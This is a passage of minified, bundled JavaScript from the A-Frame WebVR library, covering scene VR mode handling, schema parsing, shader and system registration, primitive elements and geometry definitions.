a[e](this),t.init())}},detachedCallback:{value:function(){window.cancelAnimationFrame(this.animationFrameID),this.animationFrameID=null}},addBehavior:{value:function(e){var t=this.behaviors;-1===t.indexOf(e)&&t.push(e)}},enterVR:{value:function(e){function t(){r.addState("vr-mode"),r.emit("enter-vr",e),r.isMobile&&window.screen.orientation&&window.screen.orientation.lock("landscape"),r.addFullScreenStyles(),r.isMobile||r.requestFullscreen(),r.resize()}function i(e){throw new Error(e&&e.message?"Failed to enter VR mode (`requestPresent`): "+e.message:"Failed to enter VR mode (`requestPresent`).")}var r=this;if(!this.is("vr-mode"))return p()||this.isMobile?this.effect.requestPresent().then(t,i):void t()}},requestFullscreen:{value:function(){var e=this.canvas,t=e.requestFullScreen||e.webkitRequestFullScreen||e.mozRequestFullScreen;t.apply(e)}},exitVR:{value:function(){function e(){var e=i.getAttribute("embedded");i.removeState("vr-mode"),i.isMobile&&window.screen.orientation&&window.screen.orientation.unlock(),e&&i.removeFullScreenStyles(),i.resize(),i.emit("exit-vr",{target:i})}function t(e){throw new Error(e&&e.message?"Failed to exit VR mode (`exitPresent`): "+e.message:"Failed to exit VR mode (`exitPresent`).")}var i=this;return this.is("vr-mode")?p()||this.isMobile?this.effect.exitPresent().then(e,t):void e():Promise.resolve()}},getAttribute:{value:function(e){var t=this.systems[e];return t?t.data:l.prototype.getAttribute.call(this,e)}},getComputedAttribute:{value:function(e){var t=this.systems[e];return t?t.data:l.prototype.getComputedAttribute.call(this,e)}},setAttribute:{value:function(e,t,i){var r=this.systems[e];return r?void h.prototype.setAttribute.call(this,e,t):void l.prototype.setAttribute.call(this,e,t,i)}},removeBehavior:{value:function(e){var t=this.behaviors,i=t.indexOf(e);-1!==i&&t.splice(i,1)}},resize:{value:function(){var e,t=this.camera,r=this.canvas,n=this.getAttribute("embedded")&&!this.is("vr-mode");t&&r&&(e=i(r,n),t.aspect=e.width/e.height,t.updateProjectionMatrix(),this.renderer.setSize(e.width,e.height))},writable:window.debug},setupRenderer:{value:function(){var e=this.canvas,t="true"===this.getAttribute("antialias"),i=this.renderer=new s.WebGLRenderer({canvas:e,antialias:t||window.hasNativeWebVRImplementation,alpha:!0});i.setPixelRatio(window.devicePixelRatio),i.sortObjects=!1,this.effect=new s.VREffect(i)},writable:window.debug},play:{value:function(){var e=this;return this.renderStarted?void l.prototype.play.call(this):(this.addEventListener("loaded",function(){this.renderStarted||(l.prototype.play.call(this),this.resize(),this.renderer&&(window.performance&&window.performance.mark("render-started"),this.render(0),this.renderStarted=!0,this.emit("renderstart")))}),void setTimeout(function(){l.prototype.load.call(e)}))}},reload:{value:function(e){function t(){i.isPlaying&&l.prototype.play.call(i)}var i=this;e&&this.pause(),this.innerHTML=this.originalHTML,this.init(),h.prototype.load.call(this,t)}},tick:{value:function(e,t){var i=this.systems;c.update(e),this.behaviors.forEach(function(i){i.el.isPlaying&&i.tick(e,t)}),Object.keys(i).forEach(function(r){i[r].tick&&i[r].tick(e,t)})}},render:{value:function(e){var t=this.camera,i=e-this.time;this.isPlaying&&this.tick(e,i),this.effect.render(this.object3D,t),this.time=e,this.animationFrameID=window.requestAnimationFrame(this.render.bind(this))},writable:window.debug}})})},{"../../lib/three":101,"../../utils/":117,"../a-entity":53,"../a-node":55,"../a-register-element":56,"../system":66,"./metaTags":61,"./postMessage":62,"./wakelock":63,"tween.js":18}],61:[function(e,t){function i(e){return{tagName:"meta",attributes:e,exists:function(){return document.querySelector('meta[name="'+e.name+'"]')}}}function r(e){return{tagName:"link",attributes:e,exists:function(){return document.querySelector('link[rel="'+e.rel+'"]')}}}function n(e){if(e&&e.tagName){var t=document.createElement(e.tagName);return o(t,e.attributes)}}var o=e("../../utils").extend,a=t.exports.MOBILE_HEAD_TAGS=[i({name:"viewport",content:"width=device-width,initial-scale=1,maximum-scale=1,shrink-to-fit=no,user-scalable=no,minimal-ui"}),i({name:"mobile-web-app-capable",content:"yes"}),i({name:"theme-color",content:"black"})],s=[i({name:"apple-mobile-web-app-capable",content:"yes"}),i({name:"apple-mobile-web-app-status-bar-style",content:"black"}),r({rel:"apple-touch-icon",href:"path_to_url"})];t.exports.inject=function(e){function t(e){e&&!e.exists()&&(i=n(e),i&&(o?o.parentNode.insertBefore(i,o):r.appendChild(i),c.push(i)))}var i,r=document.head,o=r.querySelector("script"),c=[];return a.forEach(t),e.isIOS&&s.forEach(t),c}},{"../../utils":117}],62:[function(e,t){function i(e){var t=this;if(e.data)switch(e.data.type){case"vr":switch(e.data.data){case"enter":t.enterVR();break;case"exit":t.exitVR()}}}var r=e("../../utils/").isIframed;t.exports=function(e){r()&&window.addEventListener("message",i.bind(e))}},{"../../utils/":117}],63:[function(e,t){var i=e("../../../vendor/wakelock/wakelock");t.exports=function(e){if(e.isMobile){var t=e.wakelock=new i;e.addEventListener("enter-vr",function(){t.request()}),e.addEventListener("exit-vr",function(){t.release()})}}},{"../../../vendor/wakelock/wakelock":126}],64:[function(e,t){function i(e){return"type"in e?"string"==typeof e.type:"default"in e}function r(e){var t,i=e["default"],r=e.type;return e.type?"bool"===e.type?r="boolean":"float"===e.type&&(r="number"):r=void 0!==i&&-1!==["boolean","number"].indexOf(typeof i)?typeof i:Array.isArray(i)?"array":"string",t=s[r],t||c("Unknown property type: "+r),e.parse=e.parse||t.parse,e.stringify=e.stringify||t.stringify,e.type=r,"default"in e||(e["default"]=t["default"]),e}function n(e,t){return e=void 0===e||null===e?t["default"]:e,t.parse(e)}function o(e,t){return"object"!=typeof e?e:t?t.stringify(e):JSON.stringify(e)}var a=e("../utils/debug"),s=e("./propertyTypes").propertyTypes,c=a("core:schema:warn");t.exports.isSingleProperty=i,t.exports.process=function(e){return i(e)?r(e):(Object.keys(e).forEach(function(t){e[t]=r(e[t])}),e)},t.exports.processPropertyDefinition=r,t.exports.parseProperties=function(e,t,i,r,o){var a=Object.keys(i?e:t);return null===e||"object"!=typeof e?e:(Object.keys(e).forEach(function(e){t[e]||o||c("Unknown property `"+e+"` for component/system `"+r+"`.")}),a.forEach(function(i){var r=t[i],o=e[i];t[i]&&(e[i]=n(o,r))}),e)},t.exports.parseProperty=n,t.exports.stringifyProperties=function(e,t){var i={};return Object.keys(e).forEach(function(r){var n=t[r],a=e[r],s=a;"object"==typeof s&&(s=o(a,n),n||c("Unknown component property: "+r)),i[r]=s}),i},t.exports.stringifyProperty=o},{"../utils/debug":115,"./propertyTypes":59}],65:[function(e,t){var i=e("./schema"),r=i.process,n=t.exports.shaders={},o=t.exports.shaderNames=[],a=e("../lib/three"),s={number:"f",time:"f",vec4:"v4",vec3:"v3",vec2:"v2",color:"v3"},c=t.exports.Shader=function(){};c.prototype={schema:{},vertexShader:"void main() {gl_Position = projectionMatrix * modelViewMatrix * vec4(position, 1.0);}",fragmentShader:"void main() {gl_FragColor = vec4(1.0,0.0,1.0,1.0);}",init:function(e){return this.attributes=this.initVariables(e,"attribute"),this.uniforms=this.initVariables(e,"uniform"),this.material=new a.ShaderMaterial({uniforms:this.uniforms,vertexShader:this.vertexShader,fragmentShader:this.fragmentShader}),this.material},initVariables:function(e,t){function i(i){if(o[i].is===t){var a=s[o[i].type],c=o[i].parse(e[i]||o[i]["default"]);n[i]={type:a,value:r.parseValue(o[i].type,c)}}}var r=this,n={},o=this.schema,a=Object.keys(o);return a.forEach(i),n},update:function(e){this.updateVariables(e,"attribute"),this.updateVariables(e,"uniform")},updateVariables:function(e,t){function i(i){a[i]&&a[i].is===t&&n[i].value!==e[i]&&(n[i].value=r.parseValue(a[i].type,e[i]),n[i].needsUpdate=!0)}var r=this,n="uniform"===t?this.uniforms:this.attributes,o=Object.keys(e),a=this.schema;o.forEach(i)},parseValue:function(e,t){var i;switch(e){case"vec2":return new a.Vector2(t.x,t.y);case"vec3":return new a.Vector3(t.x,t.y,t.z);case"vec4":return new a.Vector4(t.x,t.y,t.z,t.w);case"color":return i=new a.Color(t),new a.Vector3(i.r,i.g,i.b);default:return t}}},t.exports.registerShader=function(e,t){var i,a={};if(Object.keys(t).forEach(function(e){a[e]={value:t[e],writable:!0}}),n[e])throw new Error("The shader "+e+" has been already registered");return i=function(){c.call(this)},i.prototype=Object.create(c.prototype,a),i.prototype.name=e,i.prototype.constructor=i,n[e]={Shader:i,schema:r(i.prototype.schema)},o.push(e),i}},{"../lib/three":101,"./schema":64}],66:[function(e,t){var i=e("./component"),r=e("./schema"),n=e("../utils/"),o=r.parseProperties,a=r.parseProperty,s=r.process,c=r.isSingleProperty,u=n.styleParser,l=t.exports.systems={},h=t.exports.System=function(e){var t,r=i&&i.components[this.name],n=this.schema;return this.sceneEl=e,r&&(r.Component.prototype.system=this),Object.keys(n).length?(t=HTMLElement.prototype.getAttribute.call(e,this.name),c(n)?void(this.data=a(t,n)):void(this.data=o(u.parse(t)||{},n,!1,this.name))):void 0};h.prototype={schema:{},init:function(){},tick:void 0,play:function(){},pause:function(){}},t.exports.registerSystem=function(e,t){var i,r,o={},a=n.findAllScenes(document);if(Object.keys(t).forEach(function(e){o[e]={value:t[e],writable:!0}}),l[e])throw new Error("The system `"+e+"` has been already registered. Check that you are not loading two versions of the same system or two different systems of the same name.");for(r=function(e){h.call(this,e)},r.prototype=Object.create(h.prototype,o),r.prototype.name=e,r.prototype.constructor=r,r.prototype.schema=n.extend(s(r.prototype.schema)),l[e]=r,i=0;i<a.length;i++)a[i].initSystem(e)}},{"../utils/":117,"./component":57,"./schema":64}],67:[function(e){e("./pivot")},{"./pivot":68}],68:[function(e){var t=e("../../core/component").registerComponent,i=e("../../lib/three"),r=new i.Vector3,n=new i.Vector3;t("pivot",{dependencies:["position"],schema:{type:"vec3"},init:function(){var e=this.data,t=this.el,o=t.object3D.parent,a=t.object3D,s=new i.Group;r.copy(a.position),n.copy(a.rotation),o.remove(a),s.add(a),o.add(s),t.object3D=s,a.position.set(-1*e.x,-1*e.y,-1*e.z),s.position.set(e.x+r.x,e.y+r.y,e.z+r.z),s.rotation.copy(a.rotation),a.rotation.set(0,0,0)}})},{"../../core/component":57,"../../lib/three":101}],69:[function(e,t){var i=e("../../core/a-node"),r=e("../../core/a-register-element").registerElement,n=e("../../utils/"),o=n.entity.setComponentProperty;t.exports=r("a-event",{prototype:Object.create(i.prototype,{createdCallback:{value:function(){this.el=null,this.isAEvent=!0,this.name="",this.targetEls=[]}},attachedCallback:{value:function(){var e=this.getAttribute("target");this.el=this.parentNode,this.name=this.getAttribute("name")||this.getAttribute("type"),console.log("<a-event> has been DEPRECATED. Use path_to_url instead."),this.targetEls=e?this.el.sceneEl.querySelectorAll(e):[this.el],this.deprecated&&console.warn("<"+this.tagName.toLowerCase()+'> has been DEPRECATED. Use <a-event name="'+this.name+'"> instead.'),this.hasAttribute("type")&&console.log("<a-event type> has been DEPRECATED. Use <a-event name> instead."),this.listener=this.attachEventListener(),this.load()}},detachedCallback:{value:function(){var e=this.listener;e&&this.removeEventListener(this.name,e)}},attachEventListener:{value:function(){var e=this.attributes,t=this.el,i=this.name,r=this.targetEls;return t.addEventListener(i,function(){for(var t,i,n,a,s=0;s<r.length;s++)for(var c=0;c<e.length;c++)t=e[c],i=t.name,n=t.value,a=r[s],"target"!==i&&o(a,i,n)})}}})})},{"../../core/a-node":55,"../../core/a-register-element":56,"../../utils/":117}],70:[function(e,t){t.exports=function(){return{defaultComponents:{material:{}},mappings:{color:"material.color",metalness:"material.metalness",opacity:"material.opacity",repeat:"material.repeat",roughness:"material.roughness",shader:"material.shader",side:"material.side",src:"material.src",transparent:"material.transparent"},transforms:{src:function(e){return"#"===e[0]?e:"url("+e+")"}}}}},{}],71:[function(e){e("./primitives/a-camera"),e("./primitives/a-collada-model"),e("./primitives/a-cursor"),e("./primitives/a-curvedimage"),e("./primitives/a-image"),e("./primitives/a-light"),e("./primitives/a-obj-model"),e("./primitives/a-sky"),e("./primitives/a-sound"),e("./primitives/a-video"),e("./primitives/a-videosphere"),e("./primitives/meshPrimitives")},{"./primitives/a-camera":73,"./primitives/a-collada-model":74,"./primitives/a-cursor":75,"./primitives/a-curvedimage":76,"./primitives/a-image":77,"./primitives/a-light":78,"./primitives/a-obj-model":79,"./primitives/a-sky":80,"./primitives/a-sound":81,"./primitives/a-video":82,"./primitives/a-videosphere":83,"./primitives/meshPrimitives":84}],72:[function(e,t){var i=e("../../core/a-entity"),r=e("../../core/component").components,n=e("../../core/a-register-element").registerElement,o=e("../../utils/"),a=o.debug,s=o.entity.setComponentProperty,c=a("extras:primitives:debug"),u=t.exports.primitives={};t.exports.registerPrimitive=function(e,t){e=e.toLowerCase(),c("Registering <%s>",e),t.defaultAttributes&&console.warn("The 'defaultAttributes' object is deprecated. Use 'defaultComponents' instead.");var o=n(e,{prototype:Object.create(i.prototype,{defaultComponentsFromPrimitive:{value:t.defaultComponents||t.defaultAttributes||{}},deprecated:{value:t.deprecated||null},deprecatedMappings:{value:t.deprecatedMappings||{}},mappings:{value:t.mappings||{}},transforms:{value:t.transforms||{}},createdCallback:{value:function(){this.componentData={},t.deprecated&&console.warn(t.deprecated)}},attachedCallback:{value:function(){var e=this,t=this.attributes;this.applyDefaultComponents(),Object.keys(t).forEach(function(i){var r=t[i];e.syncAttributeToComponent(r.name,r.value)})}},attributeChangedCallback:{value:function(e,t,i){this.syncAttributeToComponent(e,i)}},applyDefaultComponents:{value:function(){var e=this,t=this.defaultComponentsFromPrimitive;Object.keys(t).forEach(function(i){var n=t[i];if(n instanceof Object){var o=r[i],a=e.getAttribute(i)||{},s=o.parse(a);return Object.keys(n).forEach(function(e){s[e]||(s[e]=n[e])}),void e.setAttribute(i,s)}e.setAttribute(i,n)})}},syncAttributeToComponent:{value:function(e,t){var i=this.mappings[e];e in this.deprecatedMappings&&console.warn(this.deprecatedMappings[e]),e&&i&&(t=this.getTransformedValue(e,t),s(this,i,t))}},getTransformedValue:{value:function(e,t){return this.transforms&&this.transforms[e]?this.transforms[e].bind(this)(t):t}}})});return u[e]=o,o}},{"../../core/a-entity":53,"../../core/a-register-element":56,"../../core/component":57,"../../utils/":117}],73:[function(e){var t=e("../primitives").registerPrimitive;t("a-camera",{defaultComponents:{camera:{},"look-controls":{},"wasd-controls":{}},mappings:{active:"camera.active",far:"camera.far",fov:"camera.fov","look-controls-enabled":"look-controls.enabled",near:"camera.near","wasd-controls-enabled":"wasd-controls.enabled",zoom:"camera.zoom"},deprecatedMappings:{"cursor-color":"a-camera[cursor-color] has been removed. Use a-cursor[color] instead.","cursor-maxdistance":"a-camera[cursor-maxdistance] has been removed. Use a-cursor[max-distance] instead.","cursor-offset":"a-camera[cursor-offset] has been removed. Use a-cursor[position] instead.","cursor-opacity":"a-camera[cursor-offset] has been removed. Use a-cursor[opacity] instead.","cursor-scale":"a-camera[cursor-scale] has been removed. Use a-cursor[scale] instead.","cursor-visible":"a-camera[cursor-visible] has been removed. Use a-cursor[visible] instead."}})},{"../primitives":72}],74:[function(e){var t=e("../getMeshMixin"),i=e("../primitives").registerPrimitive,r=e("../../../utils/");i("a-collada-model",r.extendDeep({},t(),{mappings:{src:"collada-model"}}))},{"../../../utils/":117,"../getMeshMixin":70,"../primitives":72}],75:[function(e){var t=e("../getMeshMixin"),i=e("../primitives").registerPrimitive,r=e("../../../utils/");i("a-cursor",r.extendDeep({},t(),{defaultComponents:{cursor:{},geometry:{primitive:"ring",radiusOuter:.016,radiusInner:.01,segmentsTheta:64},material:{color:"#000",shader:"flat",opacity:.8},position:{x:0,y:0,z:-1},raycaster:{far:1e3}},mappings:{far:"raycaster.far",fuse:"cursor.fuse",interval:"raycaster.interval",objects:"raycaster.objects","fuse-timeout":"cursor.fuseTimeout"}}))},{"../../../utils/":117,"../getMeshMixin":70,"../primitives":72}],76:[function(e){var t=e("../getMeshMixin"),i=e("../primitives").registerPrimitive,r=e("../../../utils/");i("a-curvedimage",r.extendDeep({},t(),{defaultComponents:{geometry:{height:1,primitive:"cylinder",radius:2,segmentsRadial:48,thetaLength:270,openEnded:!0,thetaStart:0},material:{color:"#FFF",shader:"flat",side:"double",transparent:!0,repeat:"-1 1"}},mappings:{height:"geometry.height","open-ended":"geometry.openEnded",radius:"geometry.radius",segments:"geometry.segmentsRadial",start:"geometry.thetaStart","theta-length":"geometry.thetaLength","theta-start":"geometry.thetaStart",width:"geometry.thetaLength"}}))},{"../../../utils/":117,"../getMeshMixin":70,"../primitives":72}],77:[function(e){var t=e("../getMeshMixin"),i=e("../primitives").registerPrimitive,r=e("../../../utils/");i("a-image",r.extendDeep({},t(),{defaultComponents:{geometry:{primitive:"plane"},material:{color:"#FFF",shader:"flat",side:"double",transparent:!0}},mappings:{height:"geometry.height",width:"geometry.width"}}))},{"../../../utils/":117,"../getMeshMixin":70,"../primitives":72}],78:[function(e){var t=e("../primitives").registerPrimitive;t("a-light",{defaultComponents:{light:{}},mappings:{angle:"light.angle",color:"light.color","ground-color":"light.groundColor",decay:"light.decay",distance:"light.distance",intensity:"light.intensity",penumbra:"light.penumbra",type:"light.type"}})},{"../primitives":72}],79:[function(e){var t=e("../getMeshMixin")(),i=e("../primitives").registerPrimitive,r=e("../../../utils/");i("a-obj-model",r.extendDeep({},t,{mappings:{src:"obj-model.obj",mtl:"obj-model.mtl"},transforms:{mtl:t.transforms.src}}))},{"../../../utils/":117,"../getMeshMixin":70,"../primitives":72}],80:[function(e){var t=e("../getMeshMixin"),i=e("../primitives").registerPrimitive,r=e("../../../utils/");i("a-sky",r.extendDeep({},t(),{defaultComponents:{geometry:{primitive:"sphere",radius:5e3,segmentsWidth:64,segmentsHeight:20},material:{color:"#FFF",shader:"flat"},scale:"-1 1 1"},mappings:{radius:"geometry.radius","segments-width":"geometry.segmentsWidth","segments-height":"geometry.segmentsHeight"}}))},{"../../../utils/":117,"../getMeshMixin":70,"../primitives":72}],81:[function(e){var t=e("../primitives").registerPrimitive;t("a-sound",{defaultComponents:{sound:{}},mappings:{src:"sound.src",on:"sound.on",autoplay:"sound.autoplay",loop:"sound.loop",volume:"sound.volume"}})},{"../primitives":72}],82:[function(e){var t=e("../getMeshMixin"),i=e("../primitives").registerPrimitive,r=e("../../../utils/");i("a-video",r.extendDeep({},t(),{defaultComponents:{geometry:{primitive:"plane"},material:{color:"#FFF",shader:"flat",side:"double",transparent:!0}},mappings:{height:"geometry.height",width:"geometry.width"}}))},{"../../../utils/":117,"../getMeshMixin":70,"../primitives":72}],83:[function(e){var t=e("../getMeshMixin"),i=e("../primitives").registerPrimitive,r=e("../../../utils/");i("a-videosphere",r.extendDeep({},t(),{defaultComponents:{geometry:{primitive:"sphere",radius:5e3,segmentsWidth:64,segmentsHeight:20},material:{color:"#FFF",shader:"flat"},scale:"-1 1 1"},mappings:{radius:"geometry.radius","segments-height":"geometry.segmentsHeight","segments-width":"geometry.segmentsWidth"}}))},{"../../../utils/":117,"../getMeshMixin":70,"../primitives":72}],84:[function(e,t){function i(e){return e.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()}var r=e("../getMeshMixin"),n=e("../../../core/geometry").geometries,o=e("../../../core/geometry").geometryNames,a=e("../primitives").registerPrimitive,s=e("../../../utils/"),c=t.exports={};o.forEach(function(e){var t=n[e],o=i(e),u={};Object.keys(t.schema).forEach(function(e){u[i(e)]="geometry."+e});var l="a-"+o,h=a(l,s.extendDeep({},r(),{defaultComponents:{geometry:{primitive:e}},mappings:u}));c[l]=h})},{"../../../core/geometry":58,"../../../utils/":117,"../getMeshMixin":70,"../primitives":72}],85:[function(e){var t=e("../core/geometry").registerGeometry,i=e("../lib/three");t("box",{schema:{depth:{"default":1,min:0},height:{"default":1,min:0},width:{"default":1,min:0},segmentsHeight:{"default":1,min:1,max:20,type:"int"},segmentsWidth:{"default":1,min:1,max:20,type:"int"},segmentsDepth:{"default":1,min:1,max:20,type:"int"}},init:function(e){this.geometry=new i.BoxGeometry(e.width,e.height,e.depth)}})},{"../core/geometry":58,"../lib/three":101}],86:[function(e){var t=e("../core/geometry").registerGeometry,i=e("../lib/three"),r=i.Math.degToRad;t("circle",{schema:{radius:{"default":1,min:0},segments:{"default":32,min:3,type:"int"},thetaLength:{"default":360,min:0},thetaStart:{"default":0}},init:function(e){this.geometry=new i.CircleGeometry(e.radius,e.segments,r(e.thetaStart),r(e.thetaLength))}})},{"../core/geometry":58,"../lib/three":101}],87:[function(e){var t=e("../core/geometry").registerGeometry,i=e("../lib/three"),r=i.Math.degToRad;t("cone",{schema:{height:{"default":1,min:0},openEnded:{"default":!1},radiusBottom:{"default":1,min:0},radiusTop:{"default":.8,min:0},segmentsHeight:{"default":18,min:1,type:"int"},segmentsRadial:{"default":36,min:3,type:"int"},thetaLength:{"default":360,min:0},thetaStart:{"default":0}},init:function(e){this.geometry=new i.CylinderGeometry(e.radiusTop,e.radiusBottom,e.height,e.segmentsRadial,e.segmentsHeight,e.openEnded,r(e.thetaStart),r(e.thetaLength))}})},{"../core/geometry":58,"../lib/three":101}],88:[function(e){var t=e("../core/geometry").registerGeometry,i=e("../lib/three"),r=i.Math.degToRad;t("cylinder",{schema:{height:{"default":1,min:0},openEnded:{"default":!1},radius:{"default":1,min:0},segmentsHeight:{"default":18,min:1,type:"int"},segmentsRadial:{"default":36,min:3,type:"int"},thetaLength:{"default":360,min:0},thetaStart:{"default":0}},init:function(e){this.geometry=new i.CylinderGeometry(e.radius,e.radius,e.height,e.segmentsRadial,e.segmentsHeight,e.openEnded,r(e.thetaStart),r(e.thetaLength))}})},{"../core/geometry":58,"../lib/three":101}],89:[function(e){var t=e("../core/geometry").registerGeometry,i=e("../lib/three");t("dodecahedron",{schema:{detail:{"default":0,min:0,max:5,type:"int"},radius:{"default":1,min:0}},init:function(e){this.geometry=new i.DodecahedronGeometry(e.radius,e.detail)}})},{"../core/geometry":58,"../lib/three":101}],90:[function(e){var t=e("../core/geometry").registerGeometry,i=e("../lib/three");t("icosahedron",{schema:{detail:{"default":0,min:0,max:5,type:"int"},radius:{"default":1,min:0}},init:function(e){this.geometry=new i.IcosahedronGeometry(e.radius,e.detail)}})},{"../core/geometry":58,"../lib/three":101}],91:[function(e){e("./box.js"),e("./circle.js"),e("./cone.js"),e("./cylinder.js"),e("./dodecahedron.js"),e("./icosahedron.js"),e("./octahedron.js"),e("./plane.js"),e("./ring.js"),e("./sphere.js"),e("./tetrahedron.js"),e("./torus.js"),e("./torusKnot.js")},{"./box.js":85,"./circle.js":86,"./cone.js":87,"./cylinder.js":88,"./dodecahedron.js":89,"./icosahedron.js":90,"./octahedron.js":92,"./plane.js":93,"./ring.js":94,"./sphere.js":95,"./tetrahedron.js":96,"./torus.js":97,"./torusKnot.js":98}],92:[function(e){var t=e("../core/geometry").registerGeometry,i=e("../lib/three");t("octahedron",{schema:{detail:{"default":0,min:0,max:5,type:"int"},radius:{"default":1,min:0}},init:function(e){this.geometry=new i.OctahedronGeometry(e.radius,e.detail)}})},{"../core/geometry":58,"../lib/three":101}],93:[function(e){var t=e("../core/geometry").registerGeometry,i=e("../lib/three");t("plane",{schema:{height:{"default":1,min:0},width:{"default":1,min:0},segmentsHeight:{"default":1,min:1,max:20,type:"int"},segmentsWidth:{"default":1,min:1,max:20,type:"int"}},init:function(e){this.geometry=new i.PlaneGeometry(e.width,e.height)}})},{"../core/geometry":58,"../lib/three":101}],94:[function(e){var t=e("../core/geometry").registerGeometry,i=e("../lib/three"),r=i.Math.degToRad;t("ring",{schema:{radiusInner:{"default":.8,min:0},radiusOuter:{"default":1.2,min:0},segmentsPhi:{"default":10,min:1,type:"int"},segmentsTheta:{"default":32,min:3,type:"int"},thetaLength:{"default":360,min:0},thetaStart:{"default":0}},init:function(e){this.geometry=new i.RingGeometry(e.radiusInner,e.radiusOuter,e.segmentsTheta,e.segmentsPhi,r(e.thetaStart),r(e.thetaLength))}})},{"../core/geometry":58,"../lib/three":101}],95:[function(e){var t=e("../core/geometry").registerGeometry,i=e("../lib/three"),r=i.Math.degToRad;t("sphere",{schema:{radius:{"default":1,min:0},phiLength:{"default":360},phiStart:{"default":0,min:0},thetaLength:{"default":180,min:0},thetaStart:{"default":0},segmentsHeight:{"default":18,min:2,type:"int"},segmentsWidth:{"default":36,min:3,type:"int"}},init:function(e){this.geometry=new i.SphereGeometry(e.radius,e.segmentsWidth,e.segmentsHeight,r(e.phiStart),r(e.phiLength),r(e.thetaStart),r(e.thetaLength))}})},{"../core/geometry":58,"../lib/three":101}],96:[function(e){var t=e("../core/geometry").registerGeometry,i=e("../lib/three");t("tetrahedron",{schema:{detail:{"default":0,min:0,max:5,type:"int"},radius:{"default":1,min:0}},init:function(e){this.geometry=new i.TetrahedronGeometry(e.radius,e.detail)}})},{"../core/geometry":58,"../lib/three":101}],97:[function(e){var t=e("../core/geometry").registerGeometry,i=e("../lib/three"),r=i.Math.degToRad;t("torus",{schema:{arc:{"default":360},radius:{"default":1,min:0},radiusTubular:{"default":.2,min:0},segmentsRadial:{"default":36,min:2,type:"int"},segmentsTubular:{"default":32,min:3,type:"int"}},init:function(e){this.geometry=new i.TorusGeometry(e.radius,2*e.radiusTubular,e.segmentsRadial,e.segmentsTubular,r(e.arc))}})},{"../core/geometry":58,"../lib/three":101}],98:[function(e){var t=e("../core/geometry").registerGeometry,i=e("../lib/three");t("torusKnot",{schema:{p:{"default":2,min:1,type:"int"},q:{"default":3,min:1,type:"int"},radius:{"default":1,min:0},radiusTubular:{"default":.2,min:0},segmentsRadial:{"default":36,min:3,type:"int"},segmentsTubular:{"default":100,min:3,type:"int"}},init:function(e){this.geometry=new i.TorusKnotGeometry(e.radius,2*e.radiusTubular,e.segmentsTubular,e.segmentsRadial,e.p,e.q)}})},{"../core/geometry":58,"../lib/three":101}],99:[function(e,t){window.Promise=window.Promise||e("promise-polyfill"),window.hasNativeWebVRImplementation=!!navigator.getVRDisplays||!!navigator.getVRDevices,window.WebVRConfig=window.WebVRConfig||{CARDBOARD_UI_DISABLED:!0,ROTATE_INSTRUCTIONS_DISABLED:!0,TOUCH_PANNER_DISABLED:!0,MOUSE_KEYBOARD_CONTROLS_DISABLED:!0,BUFFER_SCALE:1/window.devicePixelRatio},e("webvr-polyfill"),e("present"),e("./style/aframe.css"),e("./style/rStats.css");var i=e("./core/scene/a-scene"),r=e("./core/component").components,n=e("./core/component").registerComponent,o=e("./core/geometry").registerGeometry,a=e("./extras/primitives/primitives").registerPrimitive,s=e("./core/shader").registerShader,c=e("./core/system").registerSystem,u=e("./core/shader").shaders,l=e("./core/system").systems,h=window.THREE=e("./lib/three"),d=window.TWEEN=e("tween.js"),p=e("../package"),f=e("./utils/");e("./components/index"),e("./geometries/index"),e("./shaders/index"),e("./systems/index");var m=e("./core/a-node"),g=e("./core/a-entity");e("./core/a-animation"),e("./core/a-assets"),e("./core/a-cubemap"),e("./core/a-mixin"),e("./extras/components/"),e("./extras/declarative-events/"),e("./extras/primitives/"),console.log("A-Frame Version:",p.version),console.log("three Version:",p.dependencies.three),console.log("WebVR Polyfill Version:",p.dependencies["webvr-polyfill"]),t.exports=window.AFRAME={AEntity:g,ANode:m,AScene:i,components:r,geometries:e("./core/geometry").geometries,registerComponent:n,registerElement:e("./core/a-register-element").registerElement,registerGeometry:o,registerPrimitive:a,registerShader:s,registerSystem:c,primitives:{getMeshMixin:e("./extras/primitives/getMeshMixin"),primitives:e("./extras/primitives/primitives").primitives},schema:e("./core/schema"),shaders:u,systems:l,THREE:h,TWEEN:d,utils:f,version:p.version}},{"../package":20,"./components/index":27,"./core/a-animation":50,"./core/a-assets":51,"./core/a-cubemap":52,"./core/a-entity":53,"./core/a-mixin":54,"./core/a-node":55,"./core/a-register-element":56,"./core/component":57,"./core/geometry":58,"./core/scene/a-scene":60,"./core/schema":64,"./core/shader":65,"./core/system":66,"./extras/components/":67,"./extras/declarative-events/":69,"./extras/primitives/":71,"./extras/primitives/getMeshMixin":70,"./extras/primitives/primitives":72,"./geometries/index":91,"./lib/three":101,"./shaders/index":103,
"./style/aframe.css":105,"./style/rStats.css":106,"./systems/index":109,"./utils/":117,present:10,"promise-polyfill":11,"tween.js":18,"webvr-polyfill":19}],100:[function(e,t){window.aframeStats=function(e){function t(){o("te").set(a.querySelectorAll("a-entity").length),o("lt").set(window.performance.getEntriesByName("render-started")[0].startTime.toFixed(0))}function i(){}function r(){}function n(e){o=e}var o=null,a=e,s={te:{caption:"Entities"},lt:{caption:"Load Time"}},c=[{caption:"A-Frame",values:["te","lt"]}];return{update:t,start:i,end:r,attach:n,values:s,groups:c,fractions:[]}},"object"==typeof t&&(t.exports={aframeStats:window.aframeStats})},{}],101:[function(e,t){(function(i){var r=i.THREE=e("three");r.TextureLoader&&(r.TextureLoader.prototype.crossOrigin="anonymous"),r.ImageLoader&&(r.ImageLoader.prototype.crossOrigin="anonymous"),r.Cache&&(r.Cache.enabled=!0),e("three/examples/js/loaders/OBJLoader"),e("three/examples/js/loaders/MTLLoader"),e("three/examples/js/BlendCharacter"),e("three/examples/js/loaders/ColladaLoader"),e("../../vendor/VRControls"),e("../../vendor/VREffect"),r.ColladaLoader.prototype.crossOrigin="anonymous",r.MTLLoader.prototype.crossOrigin="anonymous",r.OBJLoader.prototype.crossOrigin="anonymous",t.exports=r}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{"../../vendor/VRControls":121,"../../vendor/VREffect":122,three:17,"three/examples/js/BlendCharacter":13,"three/examples/js/loaders/ColladaLoader":14,"three/examples/js/loaders/MTLLoader":15,"three/examples/js/loaders/OBJLoader":16}],102:[function(e,t){function i(e){return{fog:e.fog,color:new n.Color(e.color)}}var 